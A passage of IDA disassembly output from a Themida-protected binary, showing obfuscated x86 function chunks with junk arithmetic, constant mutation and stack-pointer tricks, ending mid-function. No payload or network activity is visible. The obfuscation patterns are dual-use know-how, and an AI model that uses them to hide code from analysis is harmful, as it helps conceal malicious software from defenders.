		jmp	loc_59D4A1
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9228


loc_59A195:				; CODE XREF: sub_5A9228-BCBFj
		sub	ebx, 2A7C6A04h
		sub	ebx, eax
		add	ebx, 2A7C6A04h
		sub	ebx, 0ABC2212h
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, 7AE575ABh
		shl	esi, 8
		jmp	loc_5A225A
; END OF FUNCTION CHUNK	FOR sub_5A9228
; ---------------------------------------------------------------------------


loc_59A1C1:				; CODE XREF: Themida_:005993B9j
					; Themida_:loc_5A647Fj
		push	0C74h
		jmp	loc_5A984E
; ---------------------------------------------------------------------------


loc_59A1CB:				; CODE XREF: Themida_:005ABC05j
		mov	eax, 4
		mov	ecx, eax
		pop	eax
		jmp	loc_5AE2E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_59A1D8:				; CODE XREF: sub_59EE40-540Cj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	7479h
		mov	[esp+8+var_8], ebx
		push	ebp
		mov	ebp, 52C644F2h
		jmp	loc_5AB2F3
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------


loc_59A1F1:				; CODE XREF: Themida_:0059C086j
		pop	ebp
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 1E4507B4h
		mov	ebx, 1E4507B6h
		xor	ebx, eax
		pop	eax
		sub	ecx, 4A9A7DC7h
		jmp	loc_5A3A3D
; ---------------------------------------------------------------------------


loc_59A21B:				; CODE XREF: Themida_:005A2625j
		sub	ecx, edx
		pop	edx
		push	esi
		push	eax
		jmp	loc_5ACF8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59A225:				; CODE XREF: sub_5AC95F-8219j
		shl	edi, 8
		add	edi, 2FFCBD8Fh
		sub	esi, edi
		pop	edi
		xor	edx, esi
		pop	esi
		jmp	loc_5A09CB
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE589


loc_59A239:				; CODE XREF: sub_5AE589+569j
		inc	ecx
		push	edi
		mov	edi, 55084888h
		sub	ecx, edi
		pop	edi
		add	edi, ecx
		jmp	loc_59B89E
; END OF FUNCTION CHUNK	FOR sub_5AE589
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_59A24A:				; CODE XREF: sub_5AB88E-100B1j
		or	edi, 77DA450Eh
		xor	edi, 1E88391Bh
		shr	edi, 7
		jmp	sub_59EB21
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_59A25E:				; CODE XREF: Themida_:005A2B2Dj
		add	ebx, eax
		add	ebx, 211C768Dh
		jmp	loc_5A3F7E
; ---------------------------------------------------------------------------


loc_59A26B:				; DATA XREF: Themida_:0059790Co
		pop	small word ptr [edx]
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_59A273:				; CODE XREF: sub_5AA46D+18A1j
		mov	ebp, 6893698Ah
		and	ebp, 468F25C7h
		shl	ebp, 6
		sub	ebp, 5A5A7437h
		jmp	loc_5A4938
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		jmp	loc_5A3988
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_59A298:				; CODE XREF: sub_59D7E7-3AFEj
		xor	ebp, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebp
		xor	ebp, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], ecx
		push	ebx
		mov	bl, 50h
		xor	bl, 0C6h
		sub	bl, 1
		shr	bl, 6
		jnz	loc_5AD493
		jmp	loc_5A15ED
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
		jmp	loc_598BBF
; ---------------------------------------------------------------------------


loc_59A2C1:				; CODE XREF: Themida_:005A764Bj
		add	esp, 4
		jmp	loc_5AD8FC
; ---------------------------------------------------------------------------


loc_59A2CC:				; DATA XREF: Themida_:005978F8o
		lodsw
		xor	ax, bx
		jmp	loc_59D1B7
; ---------------------------------------------------------------------------


loc_59A2D6:				; CODE XREF: Themida_:005A4EB6j
		push	4
		mov	eax, [esp]
		add	esp, 4
		add	edi, 4CD97A1Dh
		jmp	loc_59F4B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59A2EC:				; CODE XREF: sub_5AC95F-C16Bj
					; Themida_:005A27A3j
		push	esp
		jmp	loc_59B9CC
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 704D1618h
		add	ecx, 8FB2E9ECh
		add	eax, ecx
		pop	ecx
		jmp	loc_59FD20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_59A309:				; CODE XREF: sub_597F0C+130C4j
		push	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59E1E8
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFBF


loc_59A318:				; CODE XREF: sub_59CFBF+DB8j
					; Themida_:005A1A0Bj
		xor	ebx, 4FCD41E3h
		jmp	loc_5AE8DC
; END OF FUNCTION CHUNK	FOR sub_59CFBF
; ---------------------------------------------------------------------------


loc_59A323:				; DATA XREF: Themida_:005978A0o
		lodsd
		push	ebx
		mov	ebx, 1EAA71BAh
		push	eax
		push	edi
		mov	edi, 78042847h
		mov	eax, edi
		pop	edi
		push	edx
		mov	edx, 0
		sub	edx, eax
		mov	eax, edx
		pop	edx
		and	eax, 27D975D7h
		add	eax, 7A350D17h
		sub	eax, 69EC4F0Bh
		and	ebx, eax
		pop	eax
		jmp	loc_59B733
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_59A356:				; CODE XREF: sub_5A438E+87D1j
		add	esi, 1C9D3349h
		neg	esi
		add	esi, 9D22A7A1h
		mov	ebx, esi
		pop	esi
		dec	ebx
		push	eax
		mov	eax, 5D8C3930h
		sub	ebx, eax
		pop	eax
		shl	ebx, 1
		add	ebx, 570BA6F0h
		mov	ebp, ebx
		jmp	loc_5AE050
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------


loc_59A380:				; CODE XREF: Themida_:005A3201j
		shr	edi, 6
		jmp	loc_5A689A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_59A388:				; CODE XREF: sub_59ACEC-217Fj
		pop	eax
		jmp	loc_5A9E7C
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59A38E:				; CODE XREF: sub_5A7343-DB83j
		add	edx, ebp
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	cx, [esp-8+arg_4]
		push	ebx
		push	592h
		mov	[esp+0], esp
		jmp	loc_5A64E5
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------


loc_59A3C1:				; CODE XREF: Themida_:005A54C0j
		inc	edi
		jmp	loc_5A3614
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_59A3C7:				; CODE XREF: sub_59D7E7+46CDj
		push	[esp-4+arg_0]
		mov	ecx, [esp+0]
		jmp	loc_5ADBB1
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5981F9


loc_59A3D2:				; CODE XREF: sub_5981F9+69Fj
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5981F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BD3A


loc_59A3D7:				; CODE XREF: sub_59BD3A+4CE5j
		mov	[esp+4+var_4], edx
		jmp	sub_5987D8
; END OF FUNCTION CHUNK	FOR sub_59BD3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59A3DF:				; CODE XREF: sub_5A7343-7DEj
		mov	ebx, 770A72B7h
		shr	ebx, 2
		jmp	loc_5A6B6A
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_59A3EC:				; CODE XREF: sub_5A0F44+8122j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		dec	word ptr [esp+0]
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_59A40E:				; CODE XREF: sub_5A438E+307Aj
		inc	edi
		add	edi, 3C6ADEA6h
		add	ebx, edi
		jmp	loc_5AB792
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_59A41C:				; CODE XREF: sub_5A34FD+1104j
		or	bh, 0A1h
		push	dx
		push	eax
		push	ebx
		mov	bl, 92h
		mov	al, bl
		pop	ebx
		mov	dl, 0EDh
		xor	dl, al
		pop	eax
		jmp	loc_5A5B40
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------


loc_59A432:				; CODE XREF: Themida_:0059D0EEj
		not	ebp
		add	ebp, 0B480B10Fh
		push	ebp
		pop	ebx
		mov	ebp, [esp]
		jmp	loc_5ABBB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_59A444:				; CODE XREF: sub_59DBFF+F9BEj
		add	ecx, edx
		sub	ecx, 12853F8Eh
		jmp	loc_5ACAFD
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------


loc_59A451:				; CODE XREF: Themida_:0059FD71j
		pop	ecx
		add	edx, ebx
		pop	ebx
		jmp	loc_5AE020
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_59A45A:				; CODE XREF: sub_5A728F+59D1j
		mov	ebx, 6C1235B9h
		add	ebp, ebx
		pop	ebx
		push	[esp-4+arg_0]
		pop	ecx
		add	esp, 4
		push	ebp
		push	[esp-4+arg_4]
		push	dword ptr [esp+0]
		pop	ebp
		add	esp, 4
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		push	7253h
		mov	[esp-4+arg_0], ebx
		push	ecx
		mov	ch, dl
		mov	bl, ch
		push	dword ptr [esp+0]
		jmp	loc_59D729
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_59A493:				; CODE XREF: sub_59A932+6A60j
		jg	loc_5A63D8
		inc	ebp
		jns	loc_5AA41F
		mov	bl, 0B0h
		pop	edx


loc_59A4A4:				; CODE XREF: sub_59ABA2+8C1Bj
		or	edx, 4ECB1498h
		push	ebx
		mov	ebx, 4E5763C6h
		xor	edx, ebx
		pop	ebx
		jmp	loc_5A27E3
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_59A4B8:				; CODE XREF: sub_5AEE2E-E856j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-4+arg_0]
		jmp	loc_5A8E96
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_59A4C8:				; CODE XREF: sub_59FFBE-23C4j
		add	edx, 139A29EDh
		jmp	loc_5A7C55
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------


loc_59A4D3:				; CODE XREF: Themida_:0059C2EBj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 437F497Eh
		sub	edx, 0FFFFFFFFh
		jmp	loc_5A2A77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_59A4E9:				; CODE XREF: sub_5A1076+6j
		sub	eax, 696F6A3Fh
		add	eax, ebp
		add	eax, 696F6A3Fh
		push	[esp-0Ch+arg_8]
		pop	ebp
		add	esp, 4
		push	1165h
		mov	[esp-0Ch+arg_8], ebx
		mov	ebx, 645B52D1h
		shl	ebx, 4
		jmp	loc_5A9183
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5F8D


loc_59A511:				; CODE XREF: sub_5A5F8D+Aj
		push	52CE1720h
		pop	esi
		add	esi, 204C45A2h
		jnp	loc_5AC740
		shr	esi, 8
		jnz	loc_5A268E
		push	ecx


loc_59A52D:				; CODE XREF: sub_5A346D-AD02j
					; sub_5AB72D-EE13j
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		xchg	ebp, [esp+8+var_8]
		jmp	loc_5A5812
; END OF FUNCTION CHUNK	FOR sub_5A5F8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_59A53C:				; CODE XREF: sub_5ADDF8-C3D2j
		sub	ebp, 6BBD4A41h
		jmp	loc_5A1509
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B48F


loc_59A547:				; CODE XREF: sub_59B48F+5C88j
		pop	eax
		xchg	esi, [esp-4+arg_0]
		jmp	loc_5A63D0
; END OF FUNCTION CHUNK	FOR sub_59B48F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59A550:				; CODE XREF: sub_59D99C-4D97j
		pop	ebp
		jmp	sub_59A932
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59A556:				; CODE XREF: sub_5A91EC-3185j
		mov	edi, [esp-1Ch+arg_18]
		add	esp, 4
		add	edi, 1E6B7EDCh
		pop	edx
		push	0A89h
		mov	[esp-20h+arg_1C], eax
		mov	eax, 84338CBh
		or	edi, eax
		pop	eax
		push	ebx
		jmp	loc_5A9E48
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_59A57C:				; CODE XREF: sub_5ACD64-A208j
		mov	[esp-0Ch+arg_8], ebp
		sub	esp, 4
		mov	[esp-8+arg_4], esp
		push	36F2h
		mov	[esp-4+arg_0], esi
		push	eax
		mov	eax, 0DDC234Ah
		mov	esi, 0DDC234Eh
		xor	esi, eax
		jmp	loc_5A1154
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_59A59F:				; CODE XREF: sub_5AB98B-24A2j
		mov	[esp+0], ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, dword ptr [esp+2+var_2]
		pop	esp
		jmp	loc_59D749
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59A5B8:				; CODE XREF: sub_5A8C33-7B8Dj
		xor	eax, 58874989h
		sub	eax, 0AAFAC928h
		sub	edi, eax
		pop	eax
		inc	edi
		shl	edi, 7
		add	edi, 857EC0AEh
		sub	eax, edi
		pop	edi
		sub	eax, 27373677h
		sub	eax, 3D8D59F5h
		jmp	loc_5A8D61
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_59A5E1:				; CODE XREF: sub_5ABF4A-B3C2j
		pop	esi
		sub	esi, 18FE4FDBh
		jmp	loc_5A8FDE
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_59A5ED:				; CODE XREF: sub_59ACEC+F197j
		shr	eax, 5
		neg	eax
		push	ebp
		mov	ebp, 4708480Eh
		add	ebp, 4B7F5AFBh
		or	ebp, 4ECD2ED4h
		sub	ebp, 0AD67812Ch
		xor	eax, ebp
		pop	ebp
		jmp	loc_5A2BC4
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8108


loc_59A612:				; CODE XREF: sub_5A8108-B31Fj
					; sub_59D151+409Dj
		pop	eax
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		xor	ebp, [esp+4+var_4]
		jmp	loc_59D877
; END OF FUNCTION CHUNK	FOR sub_5A8108
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_59A622:				; CODE XREF: sub_5ABF4A-F903j
		push	esi
		mov	esi, 4722A746h
		add	ecx, esi
		pop	esi
		jmp	loc_59ECB2
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_59A630:				; CODE XREF: sub_5A1340+9564j
		mov	[esp-6+arg_2], eax
		push	ecx
		mov	cl, dh
		jmp	loc_5AA589
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE919


loc_59A63B:				; CODE XREF: sub_5AE919-13622j
		neg	edx
		jmp	loc_5A2F3F
; END OF FUNCTION CHUNK	FOR sub_5AE919
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59A642:				; CODE XREF: sub_5A8C33:loc_59FFECj
		push	eax
		mov	eax, 4F174804h
		xor	edx, eax
		pop	eax
		mov	ebx, edx
		pop	edx
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp-10h+arg_C]
		pop	esp
		mov	[esp-14h+arg_10], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-10h+arg_C]
		pop	esp
		mov	[esp-14h+arg_10], edx
		mov	edx, 73A21655h
		push	55A8h
		mov	[esp-10h+arg_C], edx
		not	[esp-10h+arg_C]
		mov	edx, [esp-10h+arg_C]
		add	esp, 4
		xor	edx, 4ECB5291h
		jle	loc_59AB22
		xor	edx, 0D182FCA9h
		push	edx
		jmp	loc_59EAC7
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_59A69F:				; CODE XREF: Themida_:0059AAE8j
		mov	[esp], edx
		jmp	loc_59F6B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_59A6A7:				; CODE XREF: sub_59C53B+C0FDj
		sub	ecx, 4B914E6Eh
		pop	ebp
		sub	ecx, 289A74B5h
		jmp	loc_59BE86
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_59A6B9:				; CODE XREF: sub_59EE40+DA48j
		mov	ecx, 788251EEh
		sub	edx, 32C92662h
		sub	edx, ecx
		push	ecx
		mov	ecx, 446146EFh
		shr	ecx, 1
		sub	ecx, 4EF82984h
		shr	ecx, 2
		add	ecx, 50DA25CDh
		xor	ecx, 0B761622Bh
		add	edx, ecx
		pop	ecx
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_5A478C
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_59A6EE:				; CODE XREF: Themida_:0059B0E2j
					; sub_59C53B+120D5j
		pop	edx
		add	esp, 4
		push	ecx
		push	974h
		mov	[esp+0Ch+var_C], esp
		add	[esp+0Ch+var_C], 4
		pop	ecx
		sub	esp, 4
		jmp	loc_59B4CD
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_59A708:				; CODE XREF: sub_59A932+6A54j
					; sub_5A7343+5D9Ej
		and	ebp, 22267B9Dh
		jmp	loc_5A58E7
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		jmp	loc_5A2CC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_59A71D:				; CODE XREF: sub_5AB88E+393Bj
		add	esp, 4
		push	edi
		jmp	loc_5A64DB
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598462


loc_59A726:				; CODE XREF: sub_598462+C186j
		not	ch
		shr	ch, 5
		jmp	loc_597F31
; END OF FUNCTION CHUNK	FOR sub_598462
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59A730:				; CODE XREF: sub_5A91EC+32AEj
		and	edx, 1D100CCh
		jmp	loc_5A80E7
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D663


loc_59A73B:				; CODE XREF: sub_59D663+10CE6j
		xor	dword ptr [esp+0], 5EB72D9h
		push	dword ptr [esp+0]
		pop	edi
		jmp	loc_5A0CA5
; END OF FUNCTION CHUNK	FOR sub_59D663
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_59A74B:				; CODE XREF: sub_5A600F-D99Ej
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59A750:				; CODE XREF: sub_5A8C33-659Fj
		add	ecx, 289A74B5h
		push	esi
		mov	esi, 5A3B6E52h
		sub	ecx, 1E2B6417h
		add	ecx, esi
		add	ecx, 1E2B6417h
		mov	esi, [esp-0Ch+arg_8]
		jmp	loc_5A8977
; END OF FUNCTION CHUNK	FOR sub_5A8C33

; =============== S U B	R O U T	I N E =======================================



sub_59A772	proc near		; CODE XREF: sub_59DFDD+1559j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059BDF7 SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 80A0F6Dh
		sub	ebx, 0C921D62Eh
		jmp	loc_59BDF7
sub_59A772	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_59A788:				; CODE XREF: sub_5AB98B-258Fj
		shl	bh, 7
		jmp	loc_599EEC
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59A790:				; CODE XREF: sub_5AC95F-14A8Cj
		jnz	loc_5A5CD8
		xor	cl, 0F6h
		sub	al, cl
		jmp	loc_5ADF0D
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
		pop	esi


loc_59A7A1:				; CODE XREF: Themida_:005A9D00j
		push	edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	39C4h
		mov	[esp], ecx
		jmp	loc_59A8C1
; ---------------------------------------------------------------------------


loc_59A7CF:				; CODE XREF: Themida_:0059966Ej
		mov	ebp, 3BEE0F5Eh
		jmp	loc_5A6178
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59A7D9:				; CODE XREF: sub_5A1B2A+5941j
		inc	al
		push	cx
		jmp	loc_599D3A
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_59A7E2:				; CODE XREF: sub_59D7E7+EE2j
		sub	eax, 1
		not	eax
		jmp	loc_5A8335
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_59A7EC:				; CODE XREF: sub_5A95E0+1197j
		sub	ebx, 3FFBCDEBh
		jmp	loc_5A0A97
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59A7F7:				; CODE XREF: sub_5A7343-9DBAj
					; sub_59D99C+1138Cj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59CFDF
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59A808:				; CODE XREF: Themida_:005A2D8Cj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A2833
; ---------------------------------------------------------------------------


loc_59A82B:				; CODE XREF: Themida_:005A6F02j
		or	ecx, eax
		pop	eax
		push	ebp
		mov	ebp, 27FC468Bh
		sub	ebp, 6373C656h
		add	ecx, ebp
		push	dword ptr [esp]
		jmp	loc_5AD3DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59A844:				; CODE XREF: sub_59CA4A+3A63j
		add	esi, 2B590029h
		jmp	loc_59C027
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------


loc_59A84F:				; CODE XREF: Themida_:005AD025j
		shr	eax, 2
		jp	loc_5A742B
		xor	eax, 6C6EC0E0h
		sub	[esp+4], eax
		add	al, 0F9h


loc_59A863:				; CODE XREF: Themida_:0059982Aj
		pop	esi
		pop	edi
		shr	ebp, 1
		sub	ebp, 7C8316DCh
		dec	ebp
		add	ebp, 0C5B43442h
		sub	eax, ebp
		pop	ebp
		sub	eax, edi
		push	edi
		mov	edi, 0DCD3201h
		xor	edi, 4EC304C8h
		jmp	loc_59A088
; ---------------------------------------------------------------------------


loc_59A88A:				; CODE XREF: Themida_:00597D5Aj
		push	dword ptr [esp]
		pop	edi
		push	20FAh
		mov	[esp], ebp
		mov	ebp, esp
		push	68C2h
		mov	[esp], ecx
		mov	ecx, 2BCB3E6Ch
		shl	ecx, 6
		add	ecx, 1
		push	ebx
		jmp	loc_5A5B0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_59A8B4:				; CODE XREF: sub_5AE0B5-5EF8j
		push	4D55h
		mov	[esp+8+var_8], esp
		jmp	loc_5A0559
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------


loc_59A8C1:				; CODE XREF: Themida_:0059A7CAj
		push	esp
		pop	ecx
		push	eax
		mov	eax, 4
		sub	ecx, 55016C66h
		jmp	loc_5AD36D

; =============== S U B	R O U T	I N E =======================================



sub_59A8D4	proc near		; CODE XREF: sub_5A91EC-10A19j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059E40C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A83C2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A8DE6 SIZE 00000014 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	loc_5A8DE6
sub_59A8D4	endp

; ---------------------------------------------------------------------------


loc_59A8E2:				; CODE XREF: Themida_:0059ADDBj
		add	ebp, ecx
		pop	ecx
		add	ebp, 42F1421Eh
		xor	esi, ebp
		pop	ebp
		add	edx, 6CF63EC4h
		add	edx, esi
		sub	edx, 6CF63EC4h
		jmp	loc_59DED3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59A901:				; CODE XREF: sub_5A8D43+2B62j
		mov	edx, 0FFFFFFFFh
		sub	eax, edx
		jmp	loc_5A89EF
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_59A90D:				; CODE XREF: Themida_:0059F6C0j
		add	dh, al
		pop	eax
		xor	al, dh
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A4364

; =============== S U B	R O U T	I N E =======================================



sub_59A932	proc near		; CODE XREF: sub_59D99C-344Bj

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00598DBF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00599137 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00599191 SIZE 0000000A BYTES
